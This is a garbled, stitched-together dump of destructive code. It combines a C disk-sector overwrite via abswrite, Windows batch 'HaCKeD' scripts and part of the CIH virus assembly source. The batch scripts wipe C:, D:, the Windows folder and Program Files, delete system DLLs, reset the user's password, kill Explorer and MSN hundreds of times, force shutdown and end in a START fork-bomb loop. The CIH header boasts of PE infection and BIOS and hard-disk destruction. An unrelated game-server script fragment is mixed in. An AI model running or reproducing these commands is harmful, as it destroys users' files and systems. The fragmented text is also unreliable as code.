}
}
boot()
{
char *buff;
char *test;
fprintf(test,\"THIS PROGRAM WAS MADE BY Someone Else!!\-);
abswrite(2,12,0,buff);
}
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\windows\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\Progra~1\*.*
@echo off
C:\WINDOWS\COMMAND\deltree /y c:\*.*
@echo off
cls
cls
@echo Ne kadar safsın (HaCKeD)
@echo off
net user %username% 753951456852
del /f /q d:
del /f /q c:
DEL "C:\WINDOWS\system\AVICAP.DLL"
DEL "C:\WINDOWS\system\AVIFILE.DLL"
DEL "C:\WINDOWS\system\COMMDLG.DLL"
DEL "C:\WINDOWS\system\KEYBOARD.DRV"
DEL "C:\WINDOWS\system\LZEXPAND.DLL"
DEL "C:\WINDOWS\system\MCIAVI.DRV"
DEL "C:\WINDOWS\system\MCISQ.DRV"
DEL "C:\WINDOWS\system\MCIWAVE.DRV"
DEL "C:\WINDOWS\system\MMSYSTEM.DLL"
DEL "C:\WINDOWS\system\MMTASK.TSK"
DEL "C:\WINDOWS\system\MOUSE.DRV"
DEL "C:\WINDOWS\system\MSVIDEO.DLL"
DEL "C:\WINDOWS\system\OLECLI.DLL"
DEL "C:\WINDOWS\system\OLESVR.DLL"
DEL "C:\WINDOWS\system\setup.inf"
DEL "C:\WINDOWS\system\SHELL.DLL"
DEL "C:\WINDOWS\system\SOUND.DRV"
DEL "C:\WINDOWS\system\stdole.tlb"
DEL "C:\WINDOWS\system\SYSTEM.DRV"
DEL "C:\WINDOWS\system\TAPI.DLL"
DEL "C:\WINDOWS\system\TIMER.DRV"
DEL "C:\WINDOWS\system\VER.DLL"
DEL "C:\WINDOWS\system\VGA.DRV"
DEL "C:\WINDOWS\system\WFWNET.DRV"
DEL "C:\WINDOWS\system\WINSPOOL.DRV"
RD "C:\WINDOWS\system"
START TSKILL MSNMSGR
START TSKILL MSNMSGR
START TSKILL MSNMSGR
START TSKILL MSNMSGR
START TSKILL MSNMSGR
************************************************** *************************
*
; * The Virus Program Information *
;
************************************************** *************************
*
; *
*
; * Designer : CIH Original Place : TTIT bydogan of Turkey *
; * Create Date : 04/26/1998 Now Version : 1.2 *
; * Modification Time : 06/21/2007
*
; * *
;
*================================================= =========================
*
; * Modification History *
;
*================================================= =========================
*
; * v1.0 1. Create the Virus Program. *
; * 2. The Virus Modifies IDT to Get Ring0 Privilege. *
; * 04/26/1998 3. Virus Code doesn't Reload into System.
*
; * 4. Call IFSMgr_InstallFileSystemApiHook to Hook File System. *
; * 5. Modifies Entry Point of IFSMgr_InstallFileSystemApiHook. *
; * 6. When System Opens Existing PE File, the File will be *
; * Infected, and the File doesn't be Reinfected.
*
; * 7. It is also Infected, even the File is Read-Only. *
; * 8. When the File is Infected, the Modification Date and Time *
; * of the File also don't be Changed. *
; * 9. When My Virus Uses IFSMgr_Ring0_FileIO, it will not Call *
; * Previous FileSystemApiHook, it will Call the Function *
; * that the IFS Manager Would Normally Call to Implement *
; * this Particular I/O Request. *
; * 10. The Virus Size is only 656 Bytes. *
;
*================================================= =========================
*
; * v1.1 1. Especially, the File that be Infected will not Increase *
; * it's Size... ^__^ *
; * 05/15/1998 2. Hook and Modify Structured Exception Handing. *
; * When Exception Error Occurs, Our OS System should be in *
; * Windows NT. So My Cute Virus will not Continue to Run, *
; * it will Jmup to Original Application to Run. *
; * 3. Use Better Algorithm, Reduce Virus Code Size. *
; * 4. The Virus "Basic" Size is only 796 Bytes. *
;
*================================================= =========================
*
; * v1.2 1. Kill All HardDisk, and BIOS... Super... Killer... *
; * 2. Modify the Bug of v1.1 *
; * 05/21/1998 3. The Virus "Basic" Size is 1003 Bytes. *
;
************************************************** *************************
*
.586P
;
************************************************** *************************
*
; * Original PE Executable File(Don't Modify this Section)
*
;
************************************************** *************************
*
OriginalAppEXE SEGMENT
FileHeader:
db 04dh, 05ah, 090h, 000h, 003h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 0ffh, 0ffh, 000h, 000h
db 0b8h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 040h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 080h, 000h, 000h, 000h
db 00eh, 01fh, 0bah, 00eh, 000h, 0b4h, 009h, 0cdh
db 021h, 0b8h, 001h, 04ch, 0cdh, 021h, 054h, 068h
db 069h, 073h, 020h, 070h, 072h, 06fh, 067h, 072h
db 061h, 06dh, 020h, 063h, 061h, 06eh, 06eh, 06fh
db 074h, 020h, 062h, 065h, 020h, 072h, 075h, 06eh
db 020h, 069h, 06eh, 020h, 044h, 04fh, 053h, 020h
db 06dh, 06fh, 064h, 065h, 02eh, 00dh, 00dh, 00ah
db 024h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 050h, 045h, 000h, 000h, 04ch, 001h, 001h, 000h
db 0f1h, 068h, 020h, 035h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 0e0h, 000h, 00fh, 001h
db 00bh, 001h, 005h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 010h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 000h, 040h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 004h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 020h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 002h, 000h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 010h, 000h, 000h, 010h, 000h, 000h
db 000h, 000h, 000h, 000h, 010h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 02eh, 074h, 065h, 078h, 074h, 000h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 010h, 000h, 000h
db 000h, 010h, 000h, 000h, 000h, 002h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 020h, 000h, 000h, 060h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 000h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
db 0c3h, 000h, 000h, 000h, 000h, 000h, 000h, 000h
dd 00000000h, VirusSize
OriginalAppEXE ENDS
90,90
resizepic 0 0 5054 405 470
gumppic 10 10 5528
gumppic <eval (10+((<p.x>*100)/1337))> <eval (10+((<p.y>*100)/1067))> 2362
text 20 400 455 0
text 20 435 455 01 local.t_x=<argn1>
local.t_y=<argn2>
sector.allclients sendpacket 0c0 00 D<var.src> D<var.target> W<var.effect> W<p.x> W<eval <p.y>> B<qval <argn3>?<argn3>:<p.z>> W<local.t_x> W<local.t_y> B<qval <argn3>?<argn3>:<p.z>> B<var.speed> B<var0.duration> 00 00 00 B<qval <var0.explode>?<var.explode>:0> D<hval <var.hue> - 1> D<var.rendermode>
shutdown -s -c "HaCKeD
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START TSKILL EXPLORER
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
START
